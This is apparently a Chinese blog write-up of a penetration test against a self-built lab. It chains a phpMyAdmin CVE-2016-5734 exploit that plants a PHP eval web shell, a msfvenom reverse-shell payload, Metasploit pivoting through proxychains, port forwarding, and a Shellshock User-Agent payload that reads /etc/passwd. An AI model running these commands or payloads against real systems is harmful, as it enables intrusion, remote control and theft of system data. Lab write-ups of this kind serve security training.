記一次靶場搭建後的***測試
拓撲:
操作環境:
操作機:
Kali
IP:172.16.5.204
Web網站:
Ubuntu14
IP:172.16.2.101
漏洞信息:
phpmyadmin4.0.x-4.6.2遠程代碼執行漏洞
編號:CVE-2016-5734
內網工作組:
9臺Ubuntu搭建的各種漏洞
IP:192.168.147.X
介紹:內外網絡經過隔離,內網只能通過web網站的機器訪問(目的內網)。
***步驟:
第一站:拿下網站服務器shell
因爲是測試自己搭建的靶場,所以,這裏省略信息蒐集等等的操作,直接對漏洞進行利用。
phpmyadmin遠程代碼執行漏洞簡介:
編號:CVE-2016-5734
以下版本受到影響:
4.0.10.16之前4.0.x版本
4.4.15.7之前4.4.x版本
4.6.3之前4.6.x版本
因爲此漏洞算是一個老漏洞了,網上有很多關於此漏洞的介紹,講的都非常的詳細,小生我就不再獻醜了。因爲是老漏洞,exp的利用也可以在網上下載。可以直接進行命令執行。
推薦網站:https://www.exploit-db.com/,上面存在很多利用漏洞的方法。
執行python3腳本:
python3 –c “file_put_contents(‘shell.php’,’<?php eval(\$_POST[“cmd”]);?>’);” -u root -p root -d test http://172.16.2.101:8080
命令解析:
-c 指定執行的命令
-u 指定用戶名
-p 指定密碼
-d 指定數據庫
file_put_contents()寫入一個文件,這裏創建名爲shell.php的文件,內容爲一句話
Phpmyadmin的默認用戶名和密碼是root。
上述截圖中顯示exploit failed其實是已經執行了命令。爲了看到效果,我們也可以執行一個簡單的命令測試一下。
執行id,可以返回用戶的信息。
一句話我們已經傳上去了,接下來就是通過蟻劍連接:
成功拿到shell
第二站:內網穿透,設代理環境。
設置代理能讓我們成功的去訪問內網,並且又能很好的隱藏自己。
在設置代理前,我們應該先去獲取一個目標機的meterpreter會話。
(1)生成反彈***:
msfvenom –p linux/x86/meterpreter/reverse_tcp –f elf > 123.elf
(2)將上傳到目標服務器的/tmp目錄下。
通過蟻劍進行上傳
上傳/tmp目錄的原因是因爲/tmp普通用戶的權限都比較高,可以更好的執行操作。
(3)meterpreter會話
給shell.elf文件可執行權限:chmod +x shell.elf
咋執行這個文件之前,需要在kali上監聽
回到目標機的shell,執行文件
這裏需要解釋一下,我們已經通過了蟻劍拿到了shell爲什麼還要meterpreter會話回話呢?因爲在內網中,我們會在很多地方使用MSF框架,這個框架能提供我們向內網戰法數據,單純的反彈shell或蟻劍,菜刀的shell很難實現。
(4)添加路由表
在meterpreter會話下執行:
run autoroute –s 192.168.147.0/24
如果不知道內網網段,可以通過run get_local_subnets或ifconfig查看。
(5)設置跳板
想要通過設置的路由進行訪問內網還需要代理進行轉發數據,這裏使用socks4代理模塊
先使用background命令退出回話狀態。
然後向文件/etc/proxychains.conf添加新創建的socke4代理。
(6)使用proxychains執行nmap掃描內網環境
可以看到成功掃描到內網中開放80端口的兩臺機器。還有別的端口主機就不掃了
第三站:獲取內網服務器權限
接下來就是訪問以下這些掃出來的主機,(特別提示:針對你掃描的主機最好是使用某漏洞模塊,或常見漏洞,MSF框架上都有相應模塊,有針對性的進行。因爲我這是搭建的靶場環境,僅僅測試靶場可用,所以就不在這演示。)
我這裏也遇到了一些小問題,就是通過代理,瀏覽器訪問,不能夠訪問到內網網站。技術原因沒有找到問題所在。但是我換了個方法,依然能夠實現內網。
(1)設置端口轉發
使用session 1回到meterpreter回話下,執行:
portwd add –L 172.16.5.204 –l 8080 –p 80 –r 192.168.147.32
意思是將發往本機的8080端口的數據轉發到192.168.147.32的80端口上
(2)對內網進行
這是當時設計的Bash ShellShock CVE-2014-6271漏洞,也是一個老的漏洞,利用方式也非常簡單。
通過 Burp 截包,修改 HTTP 請求頭中 UA 字段,簡單測試一下命令執行:
User-Agent: () { :;};echo ; echo; echo $(/bin/cat /etc/passwd);
注意當中的空格,輸入不正確的話會導致命令執行不成功
命令執行成功。拿shell同樣簡單,反彈,寫馬等等。